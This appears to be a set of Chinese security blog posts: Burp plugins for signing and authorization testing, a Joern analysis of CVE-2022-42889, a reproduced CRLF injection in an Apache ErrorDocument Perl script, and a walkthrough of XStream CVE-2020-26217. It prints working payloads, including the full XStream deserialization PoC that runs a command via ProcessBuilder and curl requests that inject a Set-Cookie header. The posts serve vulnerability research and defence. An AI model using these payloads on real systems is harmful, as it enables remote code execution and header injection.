开源地址：https://github.com/lightless233/sign-me-2 0x00 上一篇文章主要分享了越权测试插件的思路，经过一段时间的使用，确实节省了不少时间，也遇到了新的问题。 很多网站现在发起请求时，会附加一个 sign 签名值，以保证参数值在传输的过程中不被篡改。这同样也给我们修改参数进行测试带来了一些麻烦。所以如果能在 burp 中修改完数据包后自动对参数进行签名，可以节省不少算签的时间（当然如果连签名算法都不知道，也没办法手动算签）。 0x01 基于以上的情况，简单糊了一个新的 burp 插件 SignMe，专门用于计算各类签名，并将计算好的签名替换回原始数据包。总体来说这个插件并没有什么特别的东西，毕竟只是一个简单的参数替换。 不过在这里动了一点小心思，并没有把某个特定的签名算法写死到插件里，二是额外塞了一个 JS 引擎进去，可以让用户通过编写 JS 代码自行实现签名算法。 由于 JS 中还需要和 Java 互相操作，最终选用了 graalvm 的方案。之所以使用了 JS 代码来编写签名算法，是因为在日常的测试过程中，大部分网站的签名算法都是由 JS 实现的，很多情况下我们甚至可以直接将网站的 JS 复制过来，稍微改一改就能复用了。如果选择其他语言，还需要经历一个翻译算法的过程，如果做过类似的工作就会发现翻译语言这个过程中会遇到很多的坑：比如不同语言加密库的实现不同、字符编码问题等等。所以干脆直接选择 JS 来作为签名算法的计算语言，既省时又省力。 在 sign-me 中，已经提前封装好了大量常用的方法，包括：打印日志、参数排序、计算常见哈希、获取时间戳等等，希望用户只是像拼积木一样就可以拼出一个签名算法，将更多的时间放到对目标的测试过程上，而不是将精力浪费在计算签名这种事情上。 当计算完成后，通过返回一个指定的数组，表示需要修改哪些参数，如下图所示： 在 burp 中，可以通过修改 sign-me 和 auth-test 的插件顺序，就可以实现自动对重放包进行签名的功能，从而进行半自动的越权测试了。 sign-me 的代码暂时也没有开源的计划，主要是因为写的太烂了（这是我写的第一个burp插件，所以写的很烂），计划在近期对代码进行一次重构，之后会放出来供大家一起使用。
0x00 最近一段时间，做了一些自动化/半自动化的测试小工具，主要还是想从重复的工作中解放出来，把时间投入到更有意义的事情中。 开发语言也从之前的 Python 逐步切换到了 Rust，虽然 Python 是一门很棒的语言，可以让我快速的实现各种想法的原型，但是 Python 在工程化的时候，总会出现一些不尽人意的地方。恰巧之前也学过一些 Rust，便逐步将主力开发语言切换到了 Rust。关于这部分的内容，后续可以再单独讲讲。 在最近的一些测试工作中，很大一部分目标都是各类 CMS、WMS 系统，经过前期的一些人工测试，发现这类业务逻辑相对简单且以 CURD 为主的系统，很难出现一些高危的 Web 漏洞（特指常见高危Web漏洞，例如：命令执行、SSRF、SQL注入等）。主要的风险还是以水平越权和垂直越权为主。 很多人可能根据经验会有疑问，为什么很少甚至不会出现 SQL注入漏洞？ 在大型甲方企业的开发流程中，开发这类系统时，一般都不是从零开始写第一行代码的，而是使用该团队积累下来的各种二方包。对于常见的业务操作，例如 CURD、OSS上传等等，都有较为成熟的框架和解决方案。一旦出现过一次漏洞，通过对二方包的修复，很容易就实现了对所有其他系统的修复，以及在新系统中的预防。 顺便一提，对于其他类型的漏洞，例如 SSRF 和 命令注入等，在常规的 CURD 类的 CMS、WMS 系统中，根本不会出现相关的业务场景，所以更不会出现相关的漏洞了。 越权检测一直是扫描器领域长盛不衰的话题，目前在越权检测这个方向下面，还没有看到非常成熟的方案，也没有通用的银弹。 虽然没有银弹，但是一定有人已经造过轮子了，先去搜索了一些 Burp 上比较知名的越权测试插件，使用了一圈下来感觉都很不爽。有些界面丑陋且已经年久失修无法使用，有些逻辑复杂操作反人类，终于还是决定写一个自己用起来顺手的小插件。 0x01 在正式开始造轮子之前，我们先回顾一下手动测试越权的流程。 假设我们使用两个相同权限的账号 A 和 B，分别使用不同的浏览器登录。Chrome 登录账号 A，Edge 登录账号 B，给 Chrome 浏览器添加代理，把流量转发到 Burp。 在 Burp 中发现一个接口：http://api.example.com/user/get?id=10001 ，分析后发现是查看当前用户信息的接口。此时如果想测试越权，我们需要找到账号 B 中，此接口对应的参数，并将其复制过来到 Burp 中。假设 B 账号得到的参数为 id=51234 ，在 Burp 中修改参数后发送，并人工检查 Response 中是否含有 B 账号的数据。 在这个过程中需要来回切换多个窗口，复制粘贴不同账号的数据，最后还需要人工对比 Response 数据的内容，需要操作很多个步骤，并且非常的麻烦。另外这只是进行了两个同权账号的测试，如果系统的角色非常复杂，有管理员、普通会员、子账号的情况下，需要手工处理的工作就更多了。 测着测着，很自然的就出现了第二个想法：如果不替换参数，直接替换身份凭证是否可行？ 答案自然是可行的，我们不用再去复制 B 账号每个接口的参数，只需要登录一次 B 账号并获取到 B 账号的身份凭证信息（Cookie、X-ACCESS-TOKEN等），在每次测试 A 账号的时候，顺手把 A 账号的身份凭证修改为 B 账号，就相当于以 B 账号的身份使用 A 账号的参数发起请求，直接查看返回是否一致就可以了。我们不需要来回的切换窗口，完全在 Burp 一个窗口中操作就可以了，当 Response 过大不方便肉眼看的时候，甚至可以使用的 Burp 的 diff 功能检查两个包是否有相同数据。 当然这个方案也有弊端： 如果参数中、头中含有 CSRF Token 或类似的标记，此方法无法通过服务端的相关校验； 依然无法避免角色过多带来的重复操作问题，同一个接口，每一个角色都要替换数据发一次包； 在少部分业务场景下，如果参数本身是无规则字符串，例如 UUID、MD5 等情况且根本没有接口可以获取到其他账号的资源 ID，按照业务设计规则，可能不涉及越权问题； 这一点实际上是有分歧的，理论上来说，我使用其他账号的资源 ID 获取到了资源内容，本身就属于越权，只能最终与业务沟通并根据实际情况再做是否修复的决定。 到目前为止，我们有了一些进展，简化了替换参数的工作量。但是我仍然希望将这个过程自动化，在我每次测试其他漏洞的时候，Burp 自动化帮我替换身份凭证，并比对返回值是否相似。 0x02 我们首先要解决的问题，就是账号的替换的问题，对同一个接口的请求，要以何种策略进行重放，是这个插件的核心逻辑。 回顾一下正常的测试流程，为了测试水平越权和垂直越权，我们至少需要准备3个账号，如果我们只想测试水平越权，或只想测试垂直越权，那么准备两个账号就可以了： A 类账号：基准账号； B 类账号：同权账号，与 A 类账号同权限，用于测试水平越权； C 类账号：低权、无权账号，比 A 类账号权限低，用于测试垂直越权； 有了账号，下一步需要确认的就是重放顺序。对于查询数据的请求而言，重放顺序并不那么重要，无论哪个账号先执行请求，都不会影响返回结果。而对于创建资源、修改资源、删除资源之类的请求，顺序就非常敏感了。比如针对一个删除操作的越权测试，如果我们先使用 A 类基准账号测试，那么无论是否有漏洞，C 类账号的操作一定是失败的，因为资源已经被删除了，也就没办法使用这个资源 ID 进行越权测试了。如果使用 B 类同权账号进行测试，假设存在水平越权漏洞，那么资源已经被 B 类账号删除，C 类账号操作也会失败，也无法判断是否存在垂直越权了。 根据以上推论，我们可以规定出请求重放的顺序：C 类账号 > B 类账号 > A 类账号，在每次请求完成后，把响应结果记录下来，当所有的重放完成后，对响应内容进行相似度判断以检查是否存在越权漏洞。 现在看起来似乎没有什么问题了，但是我们还忽略了前面提到的一点，如果业务系统有更多的角色或者业务身份呢？比如超级管理员，小管理员，后台管理员，前台管理员，普通会员，游客等等。 首先我们先看看能否简化为ABC三类账号，比如有些系统虽然有很多角色，但是是通过为某个账号单独赋权得到的。举个例子，某个系统的账号必须归属于其中的一个角色，而每个角色类型可以单独设置权限点。虽然看起来这个系统非常复杂，有非常多的角色，但是实际上我们测试时，只需要一个开启所有权限点的角色，和一个没有任何权限点的角色。两个开启全部权限点的角色的账号分别作为 A 类账号和 B 类账号，没有权限点的角色可以作为 C 类账号，问题迎刃而解。 但是实际测试中发现，并不是所有的系统都可以这样处理，有些系统无论如何也无法简化为 ABC 三类账号，那又要怎么办？ 此时我们只需要对插件的账号系统做一些小小的修改即可，添加一个 D 类账号，代表自定义角色。那么问题又来了，D 类账号的重放顺序应该如何定义呢？很明显当你遇到这么复杂的情况时，事先并不能确定应当如何重放，也就无法在插件中写死重放顺序，添加一个优先级功能根据实际情况判断是最好的做法了。 那么现在的账号体系就变成了下表这样，优先级越高请求顺序越靠前： A类账号，优先级-1，基准账号，所有其他账号的 Response 均和这个做对比，优先级最低，一定最后一个重放请求； B类账号，优先级50，同权账号，用于测试水平越权，优先级默认为 50，夹在低权和基准之间； C类账号，优先级101，低权账号，用于测试垂直越权，一定第一个重放请求； D类账号，优先级1~100，自定义角色，请求优先级可以根据实际情况自定义； 最后，再添加一个配置管理系统，给不同的站配置不同的账号，再加一点点界面，基本上就完成了。 0x03 每一个配置相当于一次测试项目，在同一时间，只能开启一个配置。 在每一份配置中，可以单独配置目标 scope、黑名单、重放设置等，防止触发重放各种不必要的请求； 同时账号也是在每一份配置中设置的，在这里填入需要替换的身份凭证信息，可以是 HTTP Header，也可以是某个参数。 当正确配置完成账号信息后，此时在浏览器中访问目标网站，AuthTest 将会使用配置好的账号自动重放这些请求。所有的请求都会在数据中心中展示。 在这里，可以对某些请求标记为漏洞，也可以将某些请求加入黑名单（比如图中出现的baidu统计请求），加入黑名单后，后续遇到该 URL 时将不再重放。 点击某一行即可看到详细的请求信息，相似度为每一个包与基准账号的 Response 做对比，使用了编辑距离算法。 经过一些实际测试，确实解放了工作中很大一部分的劳动力，减少了很多的重复性工作，漏洞挖掘效率也得到了显著提升。 不过由于该工具还在完善阶段，并且很多功能是针对个人使用习惯高度定制化的，暂时没有开源的打算，后续也会继续分享一些最近一段时间开发的其他小工具，以及一些安全建设理念。等到小工具打磨成熟了，会适时的放出来与大家一起使用。
近期 ApacheCommonsText 出现了 RCE 漏洞，CVE-2022-42889。刚好最近在用 Joern，想尝试下能否利用 Joern 发现这个 CVE，分析过程中遇到了不少的问题，记录一下。 1. 漏洞原理 关于原理这块，网上已经有很多的分析文章了，原理也比较简单，这里也不再赘述了。 简单来说，这个漏洞很像 log4j，也是替换字符串的功能出现了问题，在替换字符串的过程中调用了 org.apache.commons.text.lookup.StringLookup.lookup:java.lang.String(java.lang.String) 方法，根据实际内容调用了不同的 Lookup ，进而利用 ScriptStringLookup 导致了 RCE 漏洞。 2. 初次尝试 因为我们已经知道了漏洞触发点是 StringLookup.lookup 方法，现在我们想知道另外一个问题，除了网络上流传的 POC 中的 replace 方法外，是否还有其他的方法可以触发该漏洞？如果能发现其他的入口，不管是对编写白盒检查规则、渗透测试都有帮助。 sink比较好说，我们直接定义： def sink = cpg.method.fullName(".+\\.StringLookup.lookup.*") 对于 source 来说，由于本次分析目标是一个单独的库，我们姑且认为所有在 非 abstract、interface 内的 public 方法均可以被访问到，可以作为入口被其他的应用调用。 def source = cpg.method.where(_.isPublic).whereNot(_.isConstructor).whereNot(_.typeDecl.isAbstract).filter(_.parameter.size != 0) 接下来把他们串到一起，我们暂时先不使用 joern 自身的数据流分析功能，我们先从调用链上看看是否有更多的发现： joern> importCode("commons-text-1.9.jar", "commons-text") joern> sink.repeat(_.caller)(_.until(_.where(_.isPublic).whereNot(_.isConstructor).whereNot(_.typeDecl.isAbstract).filter(_.parameter.size != 0))).l 很不幸，这条查询并没有给出想要的结果，反而会持续卡死无响应。 3. 问题分析 起初，我以为是迭代查询次数太多，导致路径爆炸，进而导致 joern 迟迟无法结束查询。于是我尝试对 source 进行优化，发现无论怎么优化，最终符合条件的 source 数量都不少于 700 个。而且我无法干涉 joern 内置的 repeat 行为，想对其在迭代过程中进行剪枝也不太可能。 既然这条查询会卡死，那么我们一步一步来，看看每次迭代的结果，修改一下刚刚的查询语句，把路径打印出来： joern> def findStep(idx: Int) : Traversal[Vector[Long]] = { return cpg.method.fullName(".+\\.StringLookup.lookup.*").enablePathTracking.repeat(_.caller.dedup)(_.times(idx)).path.map( path => path.filter(n => n.isInstanceOf[Method]).map( n => { val nn = n.asInstanceOf[Method]; nn.id } ) ) } 直接定义一个函数，参数表示迭代多少次，并把路径上所有节点ID返回，我们开始查询吧： joern> findStep(1).l res483: List[Vector[Long]] = List( Vector(47685L, 24708L), Vector(47685L, 45583L) ) joern> findStep(2).l res484: List[Vector[Long]] = List( Vector(47685L, 24708L, 23750L) ) joern> findStep(3).l res485: List[Vector[Long]] = List( Vector(47685L, 24708L, 23750L, 23725L), Vector(47685L, 24708L, 23750L, 23750L) ) 当迭代到第三次的时候，出问题了，可以很明显的看到第二条链路上出现了递归，而 joern 内置的 repeat 并没有处理这种情况，只会傻乎乎的不停的调用 caller，导致这条链路永远也无法结束。我们继续迭代： joern> findStep(4).l res486: List[Vector[Long]] = List( Vector(47685L, 24708L, 23750L, 23725L, 23750L), Vector(47685L, 24708L, 23750L, 23725L, 24790L), Vector(47685L, 24708L, 23750L, 23725L, 24871L), Vector(47685L, 24708L, 23750L, 23725L, 24927L), Vector(47685L, 24708L, 23750L, 23725L, 24952L), Vector(47685L, 24708L, 23750L, 23725L, 25086L), Vector(47685L, 24708L, 23750L, 23725L, 25131L), Vector(47685L, 24708L, 23750L, 23725L, 25195L), Vector(47685L, 24708L, 23750L, 23725L, 25239L), Vector(47685L, 24708L, 23750L, 23725L, 25278L), Vector(47685L, 24708L, 23750L, 23725L, 25322L), Vector(47685L, 24708L, 23750L, 23725L, 25380L), Vector(47685L, 24708L, 23750L, 23725L, 25425L), Vector(47685L, 24708L, 23750L, 23725L, 25464L), Vector(47685L, 24708L, 23750L, 23725L, 25509L), Vector(47685L, 24708L, 23750L, 23750L, 23725L), Vector(47685L, 24708L, 23750L, 23750L, 23750L) ) 不出所料，递归的函数还在递归，除此之外，还出现了环的情况，比如第一条链路，出现了23750 -> 23725 -> 23750，这导致这条链路也无法结束，继续迭代就出现了路径爆炸问题。 简单看了一下，基本上都是 replace 函数的不同重载版本在互相调用，而在 Java 代码中，这种情况还是比较常见的，所以这问题还是需要解决的。 4. 写个脚本 简单的查询肯定搞不定了，我们写个小脚本吧： //repeat..times(x) def findTimes(initStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = { var nextBuffer: List[Vector[Method]] = List() var finalResult: List[Vector[Method]] = List() for (idx <- 1 to maxIdx) { // 第一次查找，使用初始条件作为起始 if (idx == 1) { for (it <- initStep) { finalResult = finalResult :+ Vector(it) } } // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller for (eachPath <- finalResult) { var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => { n.asInstanceOf[Method].id }).l var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup for (newNode <- newNodes) { // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中 if (!eachPathIdList.contains(newNode.id)) { val newPath = eachPath :+ newNode nextBuffer = nextBuffer :+ newPath } } } // 所有的路径都处理完了，结果放在 nextBuffer 中 finalResult = nextBuffer nextBuffer = List() } return finalResult } findTimes 模拟了原始的 repeat(_.caller.dedup)(_.times(x))，给定初始节点和重复次数就可以了。但是还不够完美，我们再稍微修改一下，模拟出 repeat(_.caller.dedup)(_.until(x))： def findUntil(initStep: Traversal[Method], stopStep: Traversal[Method], maxIdx: Int) : List[Vector[Method]] = { var nextBuffer: List[Vector[Method]] = List() var finalResult: List[Vector[Method]] = List() var results: List[Vector[Method]] = List() val stopList = stopStep.l val stopIdList = stopList.map(n => n.id).l println("stopList.size:" + stopList.size) println("stopIdList: " + stopIdList) for (idx <- 1 to maxIdx) { // 第一次查找，使用初始条件作为起始 if (idx == 1) { for (it <- initStep) { finalResult = finalResult :+ Vector(it) } } // 处理 finalResult 中的每一条路径，取每条 path 的最后一项调用 caller for (eachPath <- finalResult) { var eachPathIdList = eachPath.filter(n => n.isInstanceOf[Method]).map(n => { n.asInstanceOf[Method].id }).l var newNodes = eachPath.last.asInstanceOf[Method].caller.dedup for (newNode <- newNodes) { // 检查 newPath 是否存在环，如果存在，则跳过，如果不存在，加到结果列表中 if (!eachPathIdList.contains(newNode.id)) { val newPath = eachPath :+ newNode nextBuffer = nextBuffer :+ newPath // 检查是否满足终结条件，如果满足，就加到resutls里 if (stopIdList.contains(newNode.id)) { results = results :+ newPath } } } } // 所有的路径都处理完了，结果放在 nextBuffer 中 finalResult = nextBuffer nextBuffer = List() } return results } 这次只要给定初始条件、终结条件、最大迭代次数就可以了。测试一下： joern> def initStep = cpg.method.fullName("org.apache.commons.text.lookup.StringLookup.lookup.*") joern> def stopStep = cpg.method.where(_.isPublic).whereNot(_.isConstructor).whereNot(_.typeDecl.isAbstract).filter(_.parameter.size != 0) joern> findUntil(initStep, stopStep, 10).map(path => path.map(node => (node.id, node.name, node.fullName))).l 一共打印出了 26 条路径。 5. 分析结果 经过简单的分析，26 条路径中，主要分为三类： org.apache.commons.text.StringSubstitutor.replace org.apache.commons.text.StringSubstitutor.replaceIn org.apache.commons.text.io.StringSubstitutorReader.read 第一类 replace 就是网络上流传的 POC 中提及的： String x = StringSubstitutor.createInterpolator().replace("${java:version}"); System.out.println(x); 第二类 replaceIn 和 replace 用法略有不同，但也能触发： StringBuilder sb = new StringBuilder(); sb.append("${java:version}"); StringSubstitutor.createInterpolator().replaceIn(sb); System.out.println(sb.toString()); 第三类 Reader 的比较复杂，也能触发： StringSubstitutor ss = StringSubstitutor.createInterpolator(); String template = "${java:version}${a}"; StringReader sr = new StringReader(template); StringSubstitutorReader ssr = new StringSubstitutorReader(sr, ss); while (true) { int x = ssr.read(); if (x == -1) { break; } else { System.out.print((char)x); } }
0x00 前言 这本来是在工作中遇到的一个 case，觉得比较有趣，就复现并记录一下。 在线上遇到了一个 CRLF 注入的漏洞，请求 http://example.com/test%0d%0aA%3DB 就会触发。起初没怎么在意，以为是 nginx 配置文件编写不当导致的，但是经过粗略的分析，发现 nginx 配置十分简单，只是普通的 proxy_pass 而已，理论上不会出现 CRLF 漏洞，于是浏览了一下这个仓库中其他的文件，发现存在一个 perl 脚本，初步猜测和这块有关系，经过一番分析后，确实如此。 0x01 环境搭建 因为已经看到了有问题的代码，所以直接复现即可。 先安装 Apache2 和 mod_perl，并且开启 mod_cgi。 > apt install apache2 libapache2-mod-perl2 > a2enmod perl > a2enmod cgi 接着修改默认的配置文件/etc/apache2/sites-enabled/000-default.conf，还原出有问题的配置： <VirtualHost *:9999> ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined ErrorDocument 404 /cgi-bin/missing.pl </VirtualHost> 关键是 ErrorDocument 这行配置，这就是罪魁祸首。其中 missing.pl 的代码如下： #!/usr/bin/perl use CGI; my $q = CGI->new; my $new_uri = $ENV{'REDIRECT_URL'}; printf("Location: http://lightless.me?from=%s\n", $new_uri); printf("Status: 302\n"); print "\n" 如果 perl 脚本无法正常执行，请检查 cgi 模块是否开启并且正确配置，在 /var/log/apache2/error.log 中可能有错误原因。 测试效果如下： # 正常请求 ☁ cgi-bin curl -v "http://localhost:9999/bbbb" * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 9999 (#0) > GET /bbbb HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 302 Found < Date: Tue, 20 Jul 2021 14:41:30 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: http://lightless.me?from=/bbbb&a=b < Transfer-Encoding: chunked < Content-Type: text/x-perl < # 有问题的请求 ☁ cgi-bin curl -v "http://localhost:9999/bbbb%0d%0aSet-Cookie:c%3dd%0d%0afoo:" * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 9999 (#0) > GET /bbbb%0d%0aSet-Cookie:c%3dd%0d%0afoo: HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 302 Found < Date: Tue, 20 Jul 2021 14:41:19 GMT < Server: Apache/2.4.29 (Ubuntu) < foo: &a=b < Set-Cookie: c=d < Location: http://lightless.me?from=/bbbb < Transfer-Encoding: chunked < Content-Type: text/x-perl < 可以看到已经成功的注入了 Set-Cookie 头。 0x02 分析 我们先看看 ErrorDocument 这个指令是干什么的，根据官方文档给出的解释 What the server will return to the client in case of an error 可以知道，就是用来自定义错误页面用的。 这个指令的格式如下（来自：https://httpd.apache.org/docs/2.4/mod/core.html#errordocument）： ErrorDocument error-code document 其中 error-code 表示要对哪种错误状态码进行处理，而 document 其实就是处理参数，可以是一个简单的字符串，也可以是一个Local URL（当前站点的某个页面）或者 External URL（外部站点），也可以是一个 cgi 脚本。 如果指定是一个 cgi 脚本的时候，那么脚本必须要在标准输出中返回 Status: 头告知客户端 HTTP 状态码 。 ... print "Some Values\n" printf "Status: %s Condition Intercepted\n", $ENV{"REDIRECT_STATUS"} 那么这些环境变量是从哪里来的呢？ 根据文档可知，当触发 ErrorDocument 指令的时候，httpd 会额外的设置一些环境变量给到 ErrorDocument 的上下文中，以便于 ErrorDocument 可以使用这些值。这些环境变量都是来自于原始的请求头的，并且会给变量名添加 REDIRECT_ 前缀。例如原始请求头中的 USER_AGENT，会变成 REDIRECT_USER_AGENT。 文档中特别提到的是，REDIRECT_URL，REDIRECT_STATUS，REDIRECT_QUERY_STRING 三个变量是一定会设置的，其余的变量根据原始请求实际情况进行设置，例如： REDIRECT_HTTP_ACCEPT REDIRECT_PATH REDIRECT_REMOTE_ADDR 等等 而我们的 perl 脚本中，取了环境变量中 REDIRECT_URL 的值，并且拼到了 Location: 头中，由于 REDIRECT_URL 是已经解码过的，%0d%0a 已经被解码成了 \r\n ，于是造成了 CRLF 注入。 而修复的话，方法也比较简单，直接删除 REDIRECT_URL 中的 \r\n 换行符即可。 my $new_uri = $ENV{'REDIRECT_URL'}; $new_uri =~ s/[\n\r]//g;
0x00 Background XStream 这个组件，主要功能是将 Java 对象和 XML 进行互相转换，也就涉及到了序列化和反序列化。之前一直知道这个组件存在反序列化的 RCE 漏洞，但是一直没有分析过，其他网络上的分析 paper 也就是瞟了几眼。 最近在工作中遇到了这个组件，朋友告诉我扫到了一个 RCE 漏洞，修复方案是升级到最新版本，但是印象中这个组件出现过好几次反序列化的问题了。这不禁勾起了我的好奇心，你说这个东西，会像 fastjson 一样频繁出现问题吗？ 0x01 XStream 101 作为一款基础的反序列化组件，我们先来看看基本用法： package me.lightless; import com.thoughtworks.xstream.XStream; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; class Foo { private String f1; public String f2; public void bar() { System.out.println(this.f1 + this.f2); } private void baz() { System.out.println(this.f2 + this.f1); } } public class BasicUsage { public static void main(String[] args) { String v1 = "Hello World!"; Map<String, String> map = new HashMap<>(); map.put("aa", "bb"); map.put("cc", "dd"); List<String> list1 = new ArrayList<>(); list1.add("hello"); list1.add("world"); List<Map> list2 = new ArrayList<>(); list2.add(map); list2.add(map); Foo foo = new Foo(); foo.f2 = "f2"; XStream xStream = new XStream(); System.out.println(xStream.toXML(v1) + "\n===\n"); System.out.println(xStream.toXML(map) + "\n===\n"); System.out.println(xStream.toXML(list1) + "\n===\n"); System.out.println(xStream.toXML(list2) + "\n===\n"); System.out.println(xStream.toXML(foo) + "\n===\n"); } } 分别对 String, Map, List, Class 进行序列化，看看结果； <string>Hello World!</string> === <entry> <string>aa</string> <string>bb</string> </entry> <entry> <string>cc</string> <string>dd</string> </entry> === <string>hello</string> <string>world</string> === <entry> <string>aa</string> <string>bb</string> </entry> <entry> <string>cc</string> <string>dd</string> </entry> === <me.lightless.Foo> <f2>f2</f2> </me.lightless.Foo> === 结果还是挺易懂的： Map 中的每一个键值对，都被包装在了 <entry> 标签里，第一项为 key，第二项为 value； List 中的值就直接放到了 标签里； Class 中的字段值，就通过同名的标签来进行赋值； 基本上 XStream 的基础用法就这些了，对于分析漏洞的 poc 来说已经足够了。 0x02 Analysis CVE-2020-26217 XStream 把所有的 CVE 都放到了他们的官网上，很容易找到需要的信息，甚至连 POC 都毫不吝啬的放出来了。这个截至目前为止最新的 RCE CVE 对应的链接：https://x-stream.github.io/CVE-2020-26217.html 完整的 PoC 如下（直接从官网复制的）： <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> 0 <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> 这 PoC 看起来很长，而且嵌套了好多层，看起来非常的混乱，但是不急，我们把所有嵌套都折叠起来，慢慢看： <entry> <jdk.nashorn.internal.objects.NativeString>...</jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> 这不就是我们刚刚看过的 Map 结构嘛，这个 Map 里只有一个 <entry>，这对键值对的 key 是 NativeStringn 类型的一个实例，value 就是普通的 String，所以这个 PoC 有效的部分一定都是在 key 对应的 NativeString 实例中。我们再展开继续看： <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> ... </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> 现在可以看到，NativeString 这个对象中，设置了两个字段的值，分别是 flags 字段 和 value 字段，其中 value 字段是 Base64Data 这个类的实例对象，并且填充了 dataHandler 和 dataLen 字段；现在嵌套层数已经多起来了，我们单独展开 dataHandler 来看： <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> 0 <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> 这一段其实也没啥好说的，按照刚才的思路看就行了，无非就是设置了什么类的什么属性而已；但是到这里为止，我们也只是看懂了这个 PoC 是怎么回事，但是依然不知道他咋就能 RCE 了，那么就跟进代码里分析一下。 0x03 Dive Into XStream 详细的反序列化流程网络上已经有很多文章都分析了，有些写的很棒，我这里也就不再详细分析了，简单记录一下。 首先这个 XStream 反序列化的入口就是 fromXML 方法，传入一个 XML 字符串就可以触发反序列化流程了。 XStream xStream = new XStream(); Object x = xStream.fromXML(payload); 我们一直跟进，一直跟到 com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy#unmarshal 方法，这里的 context.start() 才真正的开始反序列化流程 我们的 PoC 中，一开始提供的是个 Map，所以这里 convertAnother 最终会进入到 com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal 这个方法里。 继续向下跟进，XStream 会反序列化出每一个 entry 的 key 和 value，然后放到 Map 中； 关键就在这里，有一个大家都知道但是很容易被忽视的点，当向 Map 中添加数据的时候，会调用 key 的 hashCode 方法，回头看一下 PoC，这里的 key 是 NativeString 类的对象，所以实际上第 107 行跟进后，会调用 NativeString#hashCode 方法，我们跟进去看看 NativeString 类是怎么样的： 很明显，我们在 PoC 中构造的 value 字段并不是 String，而是 Base64Data ，所以会调用到 Base64Data#toString 方法，继续展开看看： 这里的 this.dataHandler 也是我们在 PoC 中精心构造过的，具体的内容可以回顾下 PoC，是一个 XmlDataSource ，然后便进入了 baos.readFrom(is) 部分， 我们在 PoC 中构造的 is 是 SequenceInputStream，所以最终会走到 SequenceInputStream#read() 方法： 继续跟进这里的 nextStream()，会进入到 MultiUIDefaultsEnumerator#nextElement() 方法： 这里由于 type 字段的值我们写死了是 "KEYS"，所以会进入第一个 case 的逻辑；在 PoC 中，iterator 被设置为了 javax.imageio.spi.FilterIterator，所以往这里跟： 这里就稍微有点复杂，反正最后就调用到了 filter.filter(elt) 这个方法，elt 是啥呢？看看 PoC： 就是一个 ProcessBuilder，那么 filter.filter() 方法也就知道了，对应为 ContainsFilter#filter()方法： 很明显，通过反射调用了 ProcessBuilder#start() 方法执行命令了。 0x04 More Thinking 快速的看完整个反序列化流程后，可以说这个漏洞没有什么难点，挺简单的，但是却非常的巧妙，从利用 Map#put 开始，到利用 NativeString#hashCode() 进入到 PoC 代码中，再到最后的 ContainsFilter#filter() 通过反射执行命令，都非常巧妙。 那么高版本是怎么修复的？简单的看了看加调试了一下，发现是通过黑名单修复的，这让我不禁想到了 fastjson，在 1.4.15 中黑名单如下： 可以看到，我们刚才用到的一些类都被拉黑了，但是这又来了一个新的问题，这黑名单总有被绕过的一天，想想 fastjson 的黑名单，总有可乘之机，简单测试了一下，还是有办法通过 JNDI 搞一下的。 在最新版的 1.4.15 中，已经收到了 RMI 的请求，在低版本的 JDK 中比较好利用，可以直接打，但是高版本的 JDK 利用就稍微有点麻烦了。
